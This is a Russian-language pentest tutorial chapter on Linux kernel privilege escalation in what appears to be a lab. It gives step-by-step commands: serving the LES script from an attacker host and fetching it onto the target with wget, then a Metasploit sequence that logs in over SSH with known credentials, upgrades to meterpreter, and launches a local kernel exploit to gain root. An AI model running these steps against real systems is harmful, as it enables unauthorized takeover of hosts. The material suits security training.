04 - Kernel exploits

Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ эксплойтов ядра. Π•ΡΡ‚ΡŒ нСсколько Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² ΠΊΠ°ΠΊ этого ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ, Π½Π°ΠΏΡ€ΠΌΠ΅Ρ€ с использованиСм Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° metasploit, ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСната LES: Linux privilege escalation auditing tool , ΠΈΠ»ΠΈ Π²Ρ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ смотритС Π²Π΅Ρ€ΡΠΈΡŽ ядра, послС Ρ‡Π΅Π³ΠΎ ΠΈΡ‰Π΅Ρ‚Π΅ подходящий эксплоит. Однако слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ломая ядро - ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ вСсь хост, ΠΈΠΌΠ΅Π½Π½ΠΎ поэтому этот Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ рассматриваСтся послСдним.

НачнСм с LES: Linux privilege escalation auditing tool .

ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ сразу ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ΅ΠΌΡ‹ΠΉ хост, Π΄Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²Π° Π½Π° исполнСниС ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Но я быстро ΠΏΠΎΠΊΠ°ΠΆΡƒ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ с хоста Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ Π½Π° хост Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Π»ΠΎΠΌΠ°Ρ‚ΡŒ ядро с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ python http server, это Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ.

// На хостС Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ:
// Π‘ΠΊΠ°Ρ‡ΠΈΠ²Π°Π΅ΠΌ LES ΠΈ ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°Π΅ΠΌ Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠ΅ SimpleHTTPserver Π½Π° ΠΏΠΎΡ€Ρ‚Ρƒ 9000

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
sudo python3 -m http.server 9000

// На хостС Π³Π΄Π΅ Π»ΠΎΠΌΠ°Π΅ΠΌ ядро:
// ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² ΠΏΠ°ΠΏΠΊΡƒ /tmp скачиваСм LES, Π΄Π°Π΅ΠΌ ΠΏΡ€Π°Π²Π° Π½Π° запуск ΠΈ стартуСм Π΅Π³ΠΎ

cd /tmp
wget 192.168.140.128:9000/less.sh
chmod +x less 
./less

ПослС запуска скрипта LES, автоматичСски Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ядрС, Π½ΠΎΠΌΠ΅Ρ€Π° CVE ΠΈ ΠΎ подходящих эксплоитах ΠΏΠΎΠ΄ ядро. НаиболСС ΡƒΠ΄Π°Ρ‡Π½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ располоТСны Π² самом Π²Π΅Ρ€Ρ…Ρƒ, Ρ‚Π°ΠΌ ΠΆΠ΅ имССтся ссылка Π½Π° эксплоит ΠΈ Π±Π°Π·Ρƒ Π·Π½Π°Π½ΠΈΠΉ ΠΏΠΎ Π½Π΅ΠΌΡƒ. ΠžΡΡ‚Π°Π»ΠΎΡΡŒ лишь ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ эксплоит, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΅Π³ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ) ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π½Π° Π°Ρ‚Π°ΠΊΡƒΠ΅ΠΌΠΎΠΌ хостС. Π’ нашСм случаС это Π½Π΅ трСбуСтся Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρ€ΡƒΡ‚ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· misconfig.

METASPLOIT

Π’ΡƒΡ‚ Ρ‚ΠΎΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Π²Π΅Π·Π΄Π΅ Π΅ΡΡ‚ΡŒ мноТСство ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΊΠ°ΠΊΠΈΠΌ ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠΎΠΉΡ‚ΠΈ. Но Ρƒ нас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ SSH ΡƒΡ‡Π΅Ρ‚ΠΊΠΈ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…. План дСйствий Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ: 1. ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ metasploit 2. Π˜Ρ‰Π΅ΠΌ Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ для Π»ΠΎΠ³ΠΈΠ½Π° ΠΏΠΎ ssh 3. Π’Π±ΠΈΠ²Π°Π΅ΠΌ Π² ΠΌΠΎΠ΄ΡƒΠ»ΡŒ извСстныС Π½Π°ΠΌ ΡƒΡ‡Π΅Ρ‚ΠΊΠΈ ΠΈ ip 4. ПоднимаСм ssh сСсссию Π΄ΠΎ meterpreter (это Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Π°Ρ полСзная Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ°/payload) 5. Π˜Ρ‰Π΅ΠΌ подоходящий эксплоит ядра 6. И ΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΏΡ€ΠΎΠ±ΠΈΡ‚ΡŒ ядро ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ root

// запускаСм мСтасплоит
msfconsole

// ΠΈΡ‰Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ для Π»ΠΎΠ³ΠΈΠ½Π° ΠΏΠΎ ssh
search ssh_login

// запускаСм ΠΌΠΎΡƒΠ»ΡŒ
use auxiliary/scanner/ssh/ssh_login

// Π²Π±ΠΈΠ²Π°Π΅ΠΌ Π² ΠΌΠΎΠ΄ΡƒΠ»ΡŒ извСстныС Π½Π°ΠΌ Π΄Π°Π½Π½Ρ‹Π΅
set rhost 192.168.140.129

// имя
set username steven

// ΠΏΠ°Ρ€ΠΎΠ»ΡŒ
set password pink84

// ΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΏΡ€ΠΎΠ±ΠΈΡ‚ΡŒΡΡ ΠΏΠΎ ssh
exploit

// поднимаСм сСссию до meterpreter
use post/multi/manage/shell_to_meterpreter

// ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΊ ΠΊΠ°ΠΊΠΎΠΉ сСссии ΠΏΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ (show sessions)
set session 1

//запускаСм
exploit

// смотрим список сСссий ΠΈ ΠΈΡ‰Π΅ΠΌ Ρ‚Π°ΠΌ meterpreter
sessions

// ΠΈ Π·Π°Ρ…ΠΎΠ΄ΠΈΠΌ Π² сСссию с meterpreter
sessions 2
// запускаСм поиск подходящСго ΠΏΠΎΠ΄ ядро эксплоита
use post/multi/recon/local_exploit_suggester

// смотрим Π½ΠΎΠΌΠ΅Ρ€Π° сСссий
show sessions

// привязываСт поиск сплоита ΠΊ сСссии ΠΌΠ΅Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π΅Ρ€Π°
set session 2 (Ρƒ вас Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ)

// запускам ΠΈ Π”Π–Π•Πœ. Π”ΠΎΠ»Π³ΠΎ. Π’ ΠΊΠΎΠ½Ρ†Π΅ скрипт ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ Π»ΡƒΡ‡ΡˆΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π² самом Π²Π΅Ρ€Ρ…Ρƒ 
//(Ссли ΠΎΠ½ΠΈ Π΅ΡΡ‚ΡŒ)

run

    

Нам ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ эксплоит, Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΏΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ ΠΊ сСссии ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ

// Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ сплоит
use имя_эксплоита_ΠΈΠ·_списка

// Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ смотрим ΠΊΠ°ΠΊΠΈΠ΅ поля Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ (Π² ΠΌΠΎΠ΅ΠΌ случаС это LHOST (ip Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ)
// ΠΈ Π½ΠΎΠΌΠ΅Ρ€ сСсии с meterpreter)

show options
set lhost 192.168.140.128 
set session 4
exploit

Как Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π°, ядро ΠΏΡ€ΠΎΠ±ΠΈΡ‚ΠΎ, установлСнна сСссия meterpreter, root наш. Нам ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ ΠΊΠ°ΠΊ слСдуСт Π·Π°ΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒΡΡ Π½Π° ΠΏΡ€ΠΎΠ±ΠΈΡ‚ΠΎΠΌ хостС, Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π½Π΅ ΠΏΠΎΡ‚Π΅Ρ€ΡΡ‚ΡŒ Π½Π°Π΄ Π½ΠΈΠΌ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ.

Last updated